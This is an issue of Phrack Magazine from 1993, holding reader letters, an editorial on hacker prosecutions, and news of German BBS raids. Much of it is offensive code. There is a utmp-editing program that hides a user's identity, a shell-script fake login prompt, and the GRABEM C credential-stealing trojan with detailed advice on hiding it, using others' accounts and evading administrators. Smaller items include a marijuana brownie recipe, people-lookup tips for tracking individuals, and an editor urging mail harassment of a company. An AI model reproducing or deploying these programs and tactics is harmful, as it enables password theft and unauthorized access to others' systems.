| ==Phrack Magazine== | |
| Volume Four, Issue Forty-Two, File 2a of 14 | |
| [-=:< Phrack Loopback >:=-] | |
| ============================================================================ | |
| !!!!WATCH THIS SPACE FOR SUMMERCON INFORMATION NEXT ISSUE!!!! | |
| ============================================================================ | |
| I 'found' this little C program a few days ago, and runs on most UNIX | |
| machines I think (As I found it, I cant claim fame for writing it!). | |
| What it does, is change your userid and x25 address to anything of your | |
| choice. This only affects programs such as 'write' and 'who'. It doesn't | |
| automatically give you different access rights, so it can only be used | |
| to disguise your real identity. | |
| Usage | |
| ----- | |
| inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere') | |
| inv '' '' (Makes you INVISIBLE on 'who') | |
| Program invis.c | |
| --------------- | |
| #include <stdio.h> | |
| #include <utmp.h> | |
| #include <sys/types.h> | |
| #include <lastlog.h> | |
| main(argc,argv) | |
| int argc; | |
| char *argv[]; | |
| { | |
| FILE *f; | |
| struct utmp u; | |
| int v=ttyslot(1); | |
| if(v==-1) | |
| { | |
| fprintf(stderr,"Can't find terminal.\n"); | |
| exit(1); | |
| if(argc!=3) | |
| { | |
| fprintf(stderr,"Args!\n"); | |
| exit(1); | |
| } | |
| f=fopen("/etc/utmp","r+"); | |
| if(f==NULL) | |
| { | |
| fprintf(stderr,"Utmp has escaped!\n"); | |
| exit(1); | |
| } | |
| if(fseek(f,v*sizeof(u),0)==-1) | |
| { | |
| fprintf(stderr,"Garbage utmp\n"); | |
| exit(1); | |
| } | |
| if(fread((char *)&u,sizeof(u),1,f)!=1) | |
| { | |
| fprintf(stderr,"Write failed\n"); | |
| exit(1); | |
| } | |
| strncpy(u.ut_name,argv[1],8); | |
| strncpy(u.ut_host,argv[2],16); | |
| if(fseek(f,v*sizeof(u),0)==-1) | |
| { | |
| fprintf(stderr,"Seek failed\n"); | |
| exit(1); | |
| } | |
| fwrite((char *)&u,sizeof(u),1,f); | |
| fclose(f); | |
| } | |
| I personaly have not used this program (to hack or for anything else) | |
| What you do with it is up to you...., | |
| ________ | |
| Have fun...., !!! ( )____ | |
| ( Alas, life ) | |
| ( is but an ) | |
| ( Aardvaark.. ) | |
| ( __ ) | |
| . (_____) (____) | |
| * * * * * * * * * * * * * * * * . ? . () | |
| * CHEERS_ THEN - _ _ * __ () | |
| * ___/_/______|_|___| |__ * / \ () | |
| * |________ _______| |__| * |_ _| | |
| * / / | | | | | | * |(0)||(0)| | |
| * / /___ | | | | | | * /|_ \/ _|\ | |
| * /___ / | | | | | | * || | == | || | |
| * / / | | \ \__/ / * || \____/ || | |
| * / / |_| \____/ * ///\ !! /\\\ | |
| *-*-/_/-*-*-*-*-*-*-*-*-*-*-*-*-=-=-=-=-=-=-=-=-!!!-!-=-=-!-!!!-=-=-=-=-=-=-=-= | |
| ------------------------------------------------------------------------------- | |
| I am interested in getting in contact with hackers in Nord Italy | |
| (I am located in Torino). Do you know anybody ? | |
| Can you help TheNewHacker ?? | |
| Thanks | |
| TheNewHacker | |
| [Editor: Actually, we are in the process of recruiting people to | |
| write for a compilation file on the hacking scenes in countries | |
| around the world. One person is working on Italy. Perhaps when | |
| this file is completed, you will be able to network through that | |
| information. | |
| If anyone in a country other than America is interested in | |
| contributing to this effort, please write us at: | |
| phrack@well.sf.ca.us ! ] | |
| ----------------------------------------------------------------------------- | |
| hello, i must say i love your publication. I have a little kind of | |
| hack/phreak for you guys. | |
| When you approach a Red light, preferably at night with few cars around, | |
| continually flash your bright lights. This tricks the light into believing | |
| this a cop waiting behind traffic at the light thus changing the light after | |
| about 10 flashes. I discovered that after seeing several police officers turn | |
| on their lights before they hit lights and was amazed on how easily the light | |
| changed. If you have say, a Mag-lite the trick works if you point directly | |
| at the top of the post-light and the ones hanging right above red on verticals | |
| and right above yellow on horizontals. | |
| hope this helps etc. (i fucking hate those damn red lights) | |
| Dave. | |
| [Editor: I've actually tried this. It works on most major | |
| intersections] | |
| ----------------------------------------------------------------------------- | |
| Hallo ! | |
| I'd like to make just some addition to the APPENDIX A of the | |
| Racketeer's article "The POWER of Electronic Mail" - there are | |
| new guys in InterNET -> Russians (!). They have the awful | |
| connection, but it's cool team. So, add : | |
| .su kremvax.hq.demos.su | |
| And one more note, in the SMTP installed on the Sun Station I'm working | |
| on there isn't command TICK, but exist some strange like RSET and | |
| EXPN. | |
| Spy | |
| P.S. Sorry for my bad English. | |
| [Editor: Russia has a lot of computers online these days. Look for | |
| more on the Russian Internet in upcoming Phracks!] | |
| ----------------------------------------------------------------------------- | |
| There is another, much simpler way to expand your password collection, | |
| other than tty spoofing. Why not just run a program that simulates the | |
| login process, and then leave it running on the console for an unsuspecting | |
| victim? A simple example is below. Execute by typing getpass:logout. | |
| --------File: getpass---------- | |
| LOGIN="" | |
| PASSWD="" | |
| clear | |
| echo -n "login: " | |
| read LOGIN | |
| echo "$LOGIN" >name | |
| sleep 3 | |
| echo -n "Password:" | |
| read PASSWD | |
| echo "$PASSWD" >password | |
| echo | |
| echo -n "Login incorrect" | |
| ------------------------------- | |
| The only problem I have is that I don't know how to make it so that | |
| the password, when entered, isn't shown on the screen. I'm sure you | |
| can come up with a solution. | |
| [Editor: actually, someone kinda did. See the next letter] | |
| ----------------------------------------------------------------------------- | |
| A Better UNIX Password Grabber | |
| by The K-Man | |
| I blame it entirely on boredom. Well, that and an acute case of end- | |
| of-semester neural gridlock. I was sitting in the lab a couple of years | |
| ago, my head leaning against a Sparc-2 display, my index finger hitting the | |
| return key over and over again at the login prompt. It was all my mind and | |
| body were capable of at the time. Then a little thought formed in the back | |
| of my mind: "You know, it would be pretty damn easy to write a program to | |
| imitate the behavior of this screen while grabbing user id's and passwords." | |
| So I logged in and started coding. Then I thought to myself, "You know, with | |
| a few extra lines of code and a couple of tricks, I could make this little | |
| guy almost completely undetectable and untraceable while running." So I | |
| coded some more. A couple of hours later, out popped the following | |
| program: | |
| ---------------------------- Cut Here ----------------------------------- | |
| /*----------------------------------------------------------------------+ | |
| | GRABEM 1.0 by The K-Man | | |
| | A Cute little program to collect passwords on the Sun workstations. | | |
| +----------------------------------------------------------------------*/ | |
| #define PASSWORD "Password:" | |
| #define INCORRECT "\nLogin incorrect" | |
| #define FILENAME ".exrc%" | |
| #include <stdio.h> | |
| #include <signal.h> | |
| /*-----------------------------------------------------------------------+ | |
| | ignoreSig | | |
| | | | |
| | Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. | | |
| +-----------------------------------------------------------------------*/ | |
| void ignoreSig () | |
| { | |
| return; | |
| } | |
| /*-----------------------------------------------------------------------+ | |
| | Main | | |
| +-----------------------------------------------------------------------*/ | |
| main() | |
| { | |
| char name[10], /* users name */ | |
| password[10]; /* users password */ | |
| int i, /* loop counter */ | |
| lab, /* lab # you're running on */ | |
| procid; /* pid of the shell we're under */ | |
| FILE *fp; /* output file */ | |
| /*-------------------------------------------------------------------+ | |
| | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\) | | |
| | signals so the program doesn't stop and dump back to the shell. | | |
| +-------------------------------------------------------------------*/ | |
| signal (SIGINT, ignoreSig); | |
| signal (SIGTSTP, ignoreSig); | |
| signal (SIGQUIT, ignoreSig); | |
| /*-------------------------------------------------------------------+ | |
| | Get the parent pid so that we can kill it quickly later. Remove | | |
| | this program from the account. | | |
| +-------------------------------------------------------------------*/ | |
| procid = getppid(); | |
| system ("\\rm proj2"); | |
| /*-------------------------------------------------------------------+ | |
| | Ask for the lab # we're running on. Clear the screen. | | |
| +-------------------------------------------------------------------*/ | |
| printf ("lab#: "); | |
| scanf ("%d", &lab); | |
| for (i=1; i<40; i++) | |
| printf ("\n"); | |
| getchar(); | |
| /*-------------------------------------------------------------------+ | |
| | Outer for loop. If the name is <= 4 characters, it's probably not | | |
| | a real id. They screwed up. Give 'em another chance. | | |
| +-------------------------------------------------------------------*/ | |
| for(;;) | |
| { | |
| /*---------------------------------------------------------------+ | |
| | If they hit return, loop back and give 'em the login again. | | |
| +---------------------------------------------------------------*/ | |
| for (;;) | |
| { | |
| printf("lab%1d login: ",lab); | |
| gets (name); | |
| if (strcmp (name, "") != 0) | |
| break; | |
| } | |
| /*---------------------------------------------------------------+ | |
| | Turn off the screen echo, ask for their password, and turn the | | |
| | echo back on. | | |
| +---------------------------------------------------------------*/ | |
| system ("stty -echo > /dev/console"); | |
| printf(PASSWORD); | |
| scanf("%s",password); | |
| getchar(); | |
| system ("stty echo > /dev/console"); | |
| /*---------------------------------------------------------------+ | |
| | Write their userid and password to the file. | | |
| +---------------------------------------------------------------*/ | |
| if ( ( fp = fopen(FILENAME,"a") ) != NULL ) | |
| { | |
| fprintf(fp,"login %s has password %s\n",name,password); | |
| fclose(fp); | |
| } | |
| /*---------------------------------------------------------------+ | |
| | If the name is bogus, send 'em back through | | |
| +---------------------------------------------------------------*/ | |
| if (strlen (name) >= 4) | |
| break; | |
| else | |
| printf (INCORRECT); | |
| } | |
| /*-------------------------------------------------------------------+ | |
| | Everything went cool. Tell 'em they fucked up and mis-typed and | | |
| | dump them out to the REAL login prompt. We do this by killing the | | |
| | parent process (console). | | |
| +-------------------------------------------------------------------*/ | |
| printf (INCORRECT); | |
| kill (procid, 9); | |
| } | |
| ---------------------------- Cut Here ----------------------------------- | |
| HOW IT WORKS | |
| You can probably figure this out by reading the code, but I thought I'd | |
| just add some comments on why I did what I did. | |
| The first thing is does is install the signal handler. All it does is trap | |
| SIGINT, SIGSTP, and SIGQUIT, so that the person trying to log into the machine | |
| this baby is running on can't kill it with a keystroke. Next, it gets the | |
| parent process ID. We'll use this later to kill it off quickly. Then it | |
| proceeds to erase the executable file. Sysadmins can't find a trojan horse | |
| program that isn't there. | |
| >From here it goes on to imitate the login and password prompts. You'll | |
| probably have to change the code to get it to imitate the login process on | |
| your particular machine. | |
| When it gets a userid and password, it appends them to an existing file in | |
| the account. I chose the .exrc, but any dot file will work. The point being | |
| to use a file that already exists and should be in the account. Don't leave | |
| any extra suspicious files lying around. | |
| After it writes the uid and password to the file, it bumps the user back | |
| to the real login prompt by killing off the shell that was the parent process | |
| of the program. The cut is almost instantaneous; the user would have to be | |
| inhumanly observant to notice the transition. | |
| HOW TO USE | |
| Well, first you need an account to run it from. If your site has guest accounts, | |
| you've got it made. If not, I'd suggest using a little social engineering to | |
| get one other person's account. With that account and the program, you can grab | |
| access to many more. I wouldn't recommend running it from an account that has | |
| your name on it. That just makes it a little more dangerous than it needs to be. | |
| Of course, if the sysadmin happens to catch the program running on your login, | |
| you can always claim to know nothing. Say someone else must have gotten your | |
| password and is using your account to escape detection. He might buy it. But | |
| if you have the source for the program sitting somewhere in your account, and | |
| they find it, you're fucked. So it's best to use someone else's account for | |
| the job. | |
| After you've gotten the account you'll be running it from, you'll need to get | |
| the program in that account somehow. I started off by keeping a copy of the | |
| source somewhere it my account, named with something innocuous and hidden | |
| among bunches of source files, but I got paranoid and started hauling the source | |
| around with me on a bar floppy. Do whatever suits your level of paranoia. | |
| Copy the source to the account you'll be running it from and compile it. | |
| Trash the source, and name the program something that won't stand out in a | |
| ps list. selection_svc is a nice innocuous name, and it appears everywhere. | |
| Do a ps on one of your machines and look for processes that hang around for | |
| a long time. You might want to hide it as a daemon. Be creative. | |
| Now run the program and sit back and wait. Or leave and come back later. | |
| When you know that someone has tried to log on to your booby trapped machine, | |
| log back into the account you borrowed to run the program in and vi or emacs (if | |
| you're that kind of person) out the captured userid and password. Simple as | |
| that. | |
| Note that the two times that you stand the greatest chance of being caught | |
| are when you first compile and run the program and when you retrieve your | |
| captured uid and passwords. There's the remote chance that someone might see | |
| you at work and see what you're doing, but it's not very likely. If you start | |
| acting all paranoid you'll draw more attention to yourself than you would have | |
| gotten in the first place. If your site has dialup lines, you might want to do | |
| a dialin to retrieve the passwords. Or you might prefer to do it in person. | |
| All depends on your paranoia quotient which you think is more secure, I guess. | |
| TIPS | |
| Be careful which dot files you use. I chose the .exrc because it was something | |
| that wasn't used often at our site. If you chose the .cshrc or other frequently | |
| accessed file, put a # before the uid and password you write to that file. That | |
| way, when that dot file is sourced, it'll treat that line as a comment and not | |
| spit out an error message that could cause suspicion. | |
| Try to run the program at a time when you know there will be heavy machine | |
| usage. That way you'll trap something quick. The longer your program | |
| runs, the greater the chance it will be found. | |
| Don't be greedy. Run on only one or two machines at a time. And if you run | |
| on more than one machine, run out of a different account on each one. Again, | |
| the more you put out there, the better the chance that at least one will be | |
| found. | |
| PARTING NOTE | |
| The morning after I wrote this program was the first time I got to use it. I | |
| set it running on a guest account, the went to a machine across the room to | |
| do some legitimate work. One of my friends walks in shortly after that, and | |
| we start shooting the shit. A minute or two later, the sysadmin walks in, sits | |
| down, and logs in to the machine I ran the program on. I came really close to | |
| dropping my fudge right then and there. The only thing running through my | |
| mind was "Either I'm totally fucked, or I have root." Turned out it was choice | |
| B. Too bad the guy changed his password once a week, and I wasn't smart enough | |
| to fix it so that I would see the change. Oh well, I had fun for a week though. | |
| There were quite a few interesting e-mail messages sent back and forth that week. | |
| I think the best one was the one from our (male) department head to one of our | |
| radical she-male hard-core no-damn-gifs feminist female professors, detailing | |
| all the perverted sexual acts that he would like to perform with and on her. :) | |
| Anyway, have fun with the program. Maybe I'll get a chance to come up with | |
| some more cool UNIX programs in the future. | |
| Later, | |
| K-Man | |
| ----------------------------------------------------------------------------- | |
| In a recent issue of PHRACK you had some article or loopback about | |
| getting information about people via modem. I am somewhat interested in | |
| this and could use this information. I have a friend who is a part-time | |
| bounty hunter and could use such information to track people down. | |
| Could you please send me some information about who to contact to find out | |
| this information. What I could REALLY use is an on-line up-to-date | |
| phone/address book that I could call to find out anybody's address. Is | |
| there such a thing? If you have any information please e-mail me, since I | |
| am unable to get your mag on a regular basis. Thanx a mil! | |
| Scarface | |
| [Editor: Actually there are quite a large number of databases that keep | |
| information on everyone. There is TRW, Equifax, TransUnion, | |
| Information America and NAI just to name a few. Many of these | |
| services are very expensive, but even services like CompuServe | |
| allow users to look up people all over America using | |
| PhoneFile which compiles data from all kinds of public | |
| records. Nexis can allow you to look up real estate data on | |
| just about anyone with loans on their houses. Every public | |
| utility and department of motor vehicles provides information | |
| on their records, and many are online. | |
| A good book to read about this kind of thing is | |
| Privacy For Sale | |
| Jeffrey Rothfeder | |
| Simon & Schuster | |
| $22.00] | |
| ----------------------------------------------------------------------------- | |
| THE GOLDEN ERA REBORN! | |
| Relive the thrill of the golden era of hacking through our exclusive | |
| collection of BBS messages. Our collection contains posts from | |
| over 40 of the most popular hack/phreak BBSes of all time. | |
| Experience the birth of the computer underground again from your | |
| own computer with this collection of original posts from bulletin | |
| boards like: | |
| * 8BBS * | |
| * OSUNY * | |
| * PLOVERNET * | |
| * THE LEGION OF DOOM * | |
| * BLACK ICE PRIVATE * | |
| * THE PHOENIX PROJECT * | |
| And many more... | |
| Messages are available in many computer formats: | |
| IBM | |
| Amiga | |
| Macintosh | |
| For more information, please contact LOD Communications | |
| email: lodcom@mindvox.phantom.com | |
| US Mail: LOD Communications | |
| 603 W. 13th St. | |
| Suite 1A-278 | |
| Austin, TX 78701 | |
| Voice Mail: 512-448-5098 | |
| ----------------------------------------------------------------------------- | |
| You might like this one... | |
| --bob | |
| **************************************** | |
| I just saw a transcript of a press conference given by | |
| Secret Service Agent Frericks, in Lubbock last December. | |
| here is a brief extraction... | |
| FRERICKS: Um hm. This is a major nation wide, world wide problem from | |
| an industry point of view with tremendous losses in funds tremendous | |
| losses of money. the VAX account at the University is a way to get | |
| into numerous other research accounts or Internet which is the ...you | |
| get onto Internet you can talk to anybody else who is on Internet | |
| anywhere in the world which these kids were talking to Belgium, and | |
| Israel and Australia and they can do that just by this, thus avoiding | |
| long distance phone calls. But most of the people on Internet I mean | |
| on the VAX are there legitimately for research purposes they can go to | |
| Mayo and get a file if they're a med student and they also get one of | |
| these pamphlets if they get, like the Department of Engineering gives | |
| out an account number just for that semester, the professor would give | |
| it out so you can use the VAX well they also get one of those | |
| pamphlets that explains what the rules are and the instructor spends a | |
| good bit of time the first couple of classes going over computer | |
| etiquette, computer rules. | |
| [Editor: Another of America's finest.] | |
| ----------------------------------------------------------------------------- | |
| I typed this because of the mention of Software Security International in | |
| the article "More than $100,000 in Illegal Software Seized" in Rambone's | |
| Pirates Cove in Phrack 41. | |
| He mentioned that they were the investigators that finally brought down | |
| APL. I am not only familiar with that, a past friend of mine was | |
| there when the Marshalls took the board. He was there as representative of | |
| SSI. | |
| The best part that Rambone didn't know, was that they couldn't get into | |
| APL to verify the existence of the software, until they got the password | |
| breaker from Novell. So in essence, they looked like some dumb fools. | |
| They didn't have any idea on how to approach the network. | |
| Software Security International Can be reached at... | |
| 1-800-724-4197 | |
| 2020 Pennsylvania Avenue N.W. | |
| Suite 722 | |
| Washington, D.C. 20006-1846 | |
| That is of course if they finally have gotten off the ground. Last I Heard (2-3 | |
| months ago) they were still having trouble getting Financial Backing. They did | |
| the APL Bust for nothing, just to prove they could do it. They are also on a | |
| lot of other BBS's around America. So as a warning to other sysops, Cover your | |
| Ass. | |
| You could rack up some serious negative cash flow by sending tons of | |
| mail to the box above, then it gets Airborne'd to Washington State. | |
| see ya | |
| [Editor: I think it might be a good idea to send them a few postcards | |
| every day for the next few weeks. Just to stay in touch.] | |
| ----------------------------------------------------------------------------- | |
| ==Phrack Magazine== | |
| Volume Four, Issue Forty-Two, File 2b of 14 | |
| [-=:< Editorial >:=-] | |
| Before I jump upwards onto my soapbox and spew forth a meaty | |
| editorial I would like to relay something to the readers of Phrack. | |
| The following is a transcript of John Lee's (Corrupt's) confession | |
| to the charges facing him. (From Security Insider Report, Jan. 1993) | |
| What follows is in my opinion a very poor attempt at a plea-bargain, | |
| and obviously induced by attorney coercion. I must wonder what John | |
| was thinking when he agreed to this admission. | |
| ====================================================================== | |
| I agreed with others to violate various laws related to the use of | |
| computers. I agreed to do the following: | |
| 1) I agreed to possess in excess of fifteen passwords which | |
| permitted me to gain access to various computer systems | |
| including all systems mentioned in the indictment and others. | |
| I did not have authorization to access these systems. I knew | |
| at the time that what I did was wrong. | |
| 2) I used these access devices and in doing so obtained the value of time | |
| I spent within these systems as well as the value of the passwords | |
| themselves which I acknowledge was more than $1000. | |
| 3) I intentionally gained access to what I acknowledge are Federal interest | |
| computers and I acknowledge that work had to be done to improve the | |
| security of these systems which was necessitated by my unauthorized | |
| access. | |
| 4) I was able to monitor data exchange between computer systems and by | |
| doing so intentionally obtained more passwords, identifications and | |
| other data transmitted over Tymnet and other networks. | |
| 5) I acknowledge that I and others planned to share passwords and | |
| transmitted information across state boundaries by modem or telephone | |
| lines and by doing so obtained the monetary value of the use of the | |
| systems I would otherwise have had to pay for. | |
| Among the ways I and others agreed to carry out these acts are the following: | |
| 1. I was part of a group called MOD. | |
| 2. The members of the group exchanged information including passwords | |
| so that we could gain access to computer systems which we were not | |
| authorized to access. | |
| 3. I got passwords by monitoring Tymnet, calling phone company | |
| employees and pretending to be computer technicians, and using | |
| computer programs to steal passwords. | |
| I participated in installing programs in computer systems that would give | |
| the highest level of access to members of MOD who possessed the secret | |
| password. | |
| I participated in altering telephone computer systems to obtain | |
| free calling services such as conference calling and free billing | |
| among others. | |
| Finally, I obtained credit reports, telephone numbers and addresses | |
| as well as other information about individual people by gaining access | |
| to information and credit reporting services. I acknowledge that on | |
| November 5, 1991, I obtained passwords by monitoring Tymnet. | |
| I apologize for my actions and am very sorry for the trouble I have | |
| caused to all concerned. | |
| John Lee | |
| ========================================================================== | |
| This issue I would like to call attention to what I consider to be | |
| a very pressing issue. There has always been a trend to pad the | |
| amount of dollar damages incurred to any victim of a hacker attack. | |
| I personally feel that the blame is never directed at the true guilty | |
| parties. | |
| Certainly, if someone is caught breaking into a system, then they are | |
| surely guilty of some form of electronic trespass. I will also | |
| concede that such a person may or may not be guilty of other crimes | |
| based upon their actions once inside that system. What I have the | |
| most problems dealing with is the trend to blame the hacker for any | |
| expenditures needed to further secure the system. | |
| With this mindset, why should any corporation bother to add any | |
| security at all? Why not just wait until someone happens across | |
| a few poorly secured sites, nab them, and claim damages for the | |
| much needed improvements in security? | |
| The worst culprits in this type of behavior has been the RBOCs. As was | |
| seen with the supposed damages incurred for the distribution of the | |
| "911 document" and most recently with the $370,000 damages supposedly | |
| incurred by Southwestern Bell resulting from the alleged activities | |
| of those in MOD. | |
| Perhaps this figure does have some basis in reality, or perhaps it is | |
| just an arbitrary figure dreamed up by a few accountants to be used | |
| at year end to explain some losses in the corporate stock report. | |
| Most often figures such as this factor in such ridiculous items as | |
| the actual system hardware penetrated. I can hardly see the relevance | |
| of such a charge. | |
| Even if these charges are to be believed, why isn't the blame being | |
| evenly distributed? Why aren't stockholders crying for the heads of | |
| system administrators, MIS managers and CIOs? These are the people who | |
| have not adequately done their jobs, are they not? If they had expended | |
| a bit of time, and a small amount of capital, the tools exist to make | |
| their systems impervious to attack. Period. | |
| If I had an investment in a company such as Southwestern Bell, I would be | |
| outraged that the people I was employing to perform data security | |
| functions were not apt enough to keep a group of uneducated gangsters | |
| out of their switching systems. Why haven't there been any emergency | |
| meetings of shareholders? Why isn't anyone demanding any changes in policy? | |
| Why is everyone still employed? | |
| Not to blame Southwestern Bell too harshly, they were sorely outclassed | |
| by MOD, and had absolutely no way to cope with them. Not only because MOD | |
| were competent telco hackers, but because Southwestern Bell's network | |
| service provider had given them free reign. | |
| Southwestern Bell's packet switched network, Microlink II, was designed | |
| and implemented for SWBT by Tymnet (then owned by McDonnell Douglas). | |
| An interesting thing I've heard about SWBNET, and about every other subnet | |
| arranged by Tymnet, is that the information concerning gateways, utilities, | |
| locations of node code, etc., is purported to be located in various | |
| places throughout Tymnet internal systems. One such system, was described | |
| to me as a TYMSHARE system that contained data files outlaying every subnet | |
| on Tymnet, the mnemonics (username/password pair) to each utility, gateway, | |
| and the ONTYME II mail access keys. | |
| If this information is correct, then shouldn't Tymnet be called in to | |
| acknowledge their role in the attacks on Southwestern Bell? | |
| Let's say a Realtor sold you a house, but told you that he would be keeping | |
| copies of all your keys so that he could help you with the maintenance. | |
| Some time later, you notice that a few of your books have been read, but | |
| nothing else is disturbed. Later on you notice that your tv is on and your | |
| bed is all messed up. A week later your stereo is gone. You set up a trap | |
| and catch someone going into your house with your own key! You find that | |
| the burglars had made copies of all the keys held by your Realtor. You | |
| then find that the Realtor neglected to put the keys in a safe, and in fact | |
| had left them lying around on the table in his back yard labeled with | |
| the addresses they corresponded to. | |
| Who would you be more upset with? The individual who copied and used the | |
| keys, or the Realtor for not providing the access to your valuables more | |
| vigilantly? I would personally be far more upset with the Realtor, for | |
| if he had put the keys in a safe this event would have probably never | |
| transpired. | |
| I'm not saying that people who get caught for breaking into computer | |
| systems should be let go, especially if they can be proven to be involved | |
| in the sale of hacked information for a personal profit. What I am saying | |
| that if hackers are to be punished so vigorously for what I view as a | |
| predominantly victimless crime, then everyone should have to line | |
| up and take their fair share of the blame. | |
| I think it's high time that the real blame be placed on the corporate | |
| entities who seemingly refuse to acknowledge their role in these | |
| break-ins. Neglect of duties and lack of responsibility on the part | |
| of the employees, the interconnect carriers, the data network providers, | |
| the hardware vendors, etc. all play a key role in the problems that | |
| exist in the world's data networks today. In fact, if it were not for | |
| computer hackers, these problems would continue to lie dormant until either | |
| discovered by accident in the field, or the provider decided to go ahead | |
| and illuminate its clients to the existence of such a problem. | |
| I wholeheartedly encourage each and every reader of Phrack to | |
| purchase one share of stock in any corporation you know that has exhibited | |
| such tendencies and take your place on the floor of the next shareholders | |
| meeting and scare the hell out of the board of directors. | |
| Phrack Magazine is calling a discount brokerage very soon. | |
| ------------------------------------------------------------------------------- | |
| ==Phrack Magazine== | |
| Volume Four, Issue Forty-Two, File 2c of 14 | |
| // // /\ // ==== | |
| // // //\\ // ==== | |
| ==== // // \\/ ==== | |
| /\ // // \\ // /=== ==== | |
| //\\ // // // // \=\ ==== | |
| // \\/ \\ // // ===/ ==== | |
| ****************************************************************************** | |
| BBS Busts in Germany | |
| ==================== | |
| Thursday, March 18, 1993. | |
| This day will be remembered as a black day in German BBS history. | |
| In fact, it was the blackest day in German BBS history since the raid | |
| of 18 Berlin BBS in Berlin and North Germany a couple of months ago. | |
| What has happened? A couple of Bulletin Board Systems (BBS) have | |
| been raided by the police. All these BBS had "warez" online, illegal, | |
| pirated, copyrighted Software - usually for PC/MSDOS and Amiga. | |
| This time, most of these BBS were in Bavaria, South Germany. | |
| Now let's take a closer look at the events: | |
| One guy who got busted was MST, Sysop of Southern Comfort BBS | |
| in Munich. In fact, his board went offline 9 days before. | |
| But he was so unlucky still having his computer and his warez. | |
| He was even using his modem to trade warez at the very moment | |
| the cops rang his doorbell. Why did he go offline just so short | |
| before he got busted? His board had been running for over 1 year. | |
| Here is the text file MST released about going offline: | |
| THURSDAY 03-09-93 00:15 | |
| THE SOUTHERN COMFORT BBS IS CLOSED ! | |
| I AM NOT BUSTED OR ANYTHING LIKE THIS ! | |
| I CLOSED THE BBS COS OF PERSONAL REASONS AND | |
| PERHAPS IT WILL BE OPENED AGAIN IN 1 OR 2 MONTH ! | |
| I HOPE YOU WOULD UNDERSTAND THIS DECISION BUT SCENE | |
| IS NOT ALL WHAT LIFE CAN BE ALL USER ACCOUNTS STAY | |
| ALIVE AND WILL BE HERE AT A NEW??? OPENING ! | |
| SO I SAY BYE TO THE SCENE FOR PERHAPS ONLY A SHORT TIME ! | |
| MST/RAZOR 1911 | |
| A couple of days later, MST was posting ads in local BBS to sell his | |
| old equipment. But obviously he wasn't fast enough. Maybe this was | |
| one of the reasons the cops busted him on March, 18. They were afraid | |
| he might get rid of his illegal software, so they hurried up to catch him! | |
| He got busted at 10am this morning. Three cops were knocking on his door, | |
| until he opened. They had a search warrant and confiscated all his | |
| computer equipment, disks, modems... | |
| Chris used to have a board until four months ago, and now trades for TDT and | |
| other groups. He was in school this morning. His parents weren't home | |
| either. So the cops broke into his house, smashed the wooden door, and | |
| seized all his equipment. He is asked to speak to the Police this Tuesday. | |
| Chris used to be one of the most active traders for PC warez in Germany. | |
| He and his friend Michelangelo supported boards like Schizophrenia and | |
| Beverly Hills, which they co-sysop'ed. They were also known as the | |
| 'Beverly Hills Boys', a new German cracking group. | |
| After Chris' bust, a couple of boards were affected: | |
| Beverly Hills went offline. Also the German Headquarters of the Beverly | |
| Hills Boys, 'Twilight Zone', went offline. Their sysops estimate at least | |
| 1-3 months offline time. | |
| The other Munich BBS and their sysops were really scared after the bust | |
| and took down their systems for an uncertain amount of time. | |
| One of Germany's largest BBS, Darkstar in Augsburg, was a heaven for | |
| every warez collector. It had 8 modems hooked up (all US Robotics Dual | |
| Standard 16.8) and one ISDN Line. | |
| It had over 2 GB PC warez online, and over 7 GB offline on tapes, which | |
| would be put online according to user' requests. | |
| But then, March 18 arrived, and the dream was shattered. | |
| Its sysop, Rider, who was happily calling boards the previous day, | |
| had the most shocking experience in his life. The cops came and | |
| took his BBS. | |
| And more.. | |
| Ego, co-sysop of a large German BBS, got busted. | |
| Andy/Spreadpoint (ex-sysop) got busted. | |
| And lots of others... | |
| Unlike the US Secret Service, which delights in seizing all | |
| electronic equipment, like stereos, TVs, VCRs, the German cops | |
| were just after the computer hardware, especially the hard drives | |
| and file servers. | |
| They usually come with three or four people. All of the search warrants | |
| they were using were quite old, issued last December. | |
| Who is behind those actions? | |
| First of all the BSA, Business Software Association. They | |
| were also responsible for the recent raids of US Bulletin Boards. | |
| In Germany they just announced actions against piracy and | |
| bulletin boards. The most active BSA Members are Microsoft and | |
| Lotus Development. Microsoft, Lotus and the BSA are all located | |
| in Munich, Germany, home of German's most feared lawyer, | |
| Guenther Freiherr von Gravenreuth. This guy has been fighting | |
| for years against piracy, young kids who copy games, and especially | |
| bulletin board systems. He is also affiliated with Ariolasoft, a huge | |
| German distributor for game labels like Activision and others. | |
| In the end, all I can say is: | |
| Be aware, don't get caught and don't keep illegal stuff on your board! | |
| (c) 1993 SevenUp for Phrack | |
| ****************************************************************************** | |
| Carlcory's brownies: | |
| /* Begin cc_brownie.c */ | |
| Includes: | |
| #include "4_squares_baking_chocolate" | |
| #include "1_cup_butter" | |
| #include "2_cups_sugar" | |
| #include "4_eggs" | |
| #include "2_cups_flour" | |
| #include "2_tbs_vanilla" | |
| #include "1_third_cup_marijuana" /*comment out if won't compile | |
| on your system*/ | |
| #include "1_cup_nuts" /*comment out if won't compile*/ | |
| void main(void); | |
| { | |
| heat(oven, 350); | |
| add(butter, chocolate); | |
| while(texture!='smooth') { | |
| stir(mixture); | |
| } | |
| Add(sugar); | |
| add(eggs); | |
| add(vanilla); | |
| add(flour, pot); | |
| add(nuts) | |
| for(timer=0; timer<35; timer++) { | |
| bake(mixture); | |
| } | |
| cool(hour); | |
| } | |
| /*The high takes about an hour to come on, | |
| but lasts for 12 hrs. (4 brownies) | |
| Make sure they cool (don't burn your mouth!) | |
| and share with friends! */ | |
| /*End of cc_brownie.c*/ | |
| ****************************************************************************** | |
| GRAY AREAS | |
| Examining the Gray Areas of Life | |
| Gray Areas, Inc. | |
| P.O. Box 808 | |
| Broomall, PA 19008-0808 | |
| (215)353-8238 | |
| grayarea@well.sf.ca.us | |
| Gray Areas is published quarterly and printed on recycled paper. They also | |
| participate in local recycling efforts involving cans, glass, clothing, | |
| newspapers, and more. | |
| A four-issue subscription costs $18.00 US or $26.00 foreign (payable in US | |
| funds). A 12-issue subscription costs $50.00 ($75.00 foreign). You may | |
| purchase a twelve issue subscription and give 4 or 8 or those issues away as | |
| gifts to friends (i.e., the same 4 issues you receive would also go to 2 other | |
| recipients). Make check or money order out to Gray Areas, Inc. | |
| STATEMENT OF PURPOSE: | |
| Gray Areas exists to examine the gray areas of life. We hope to unite people | |
| involved in all sorts of alternative lifestyles and deviant subcultures. We | |
| are everywhere! We felt that the government has done a great job of splitting | |
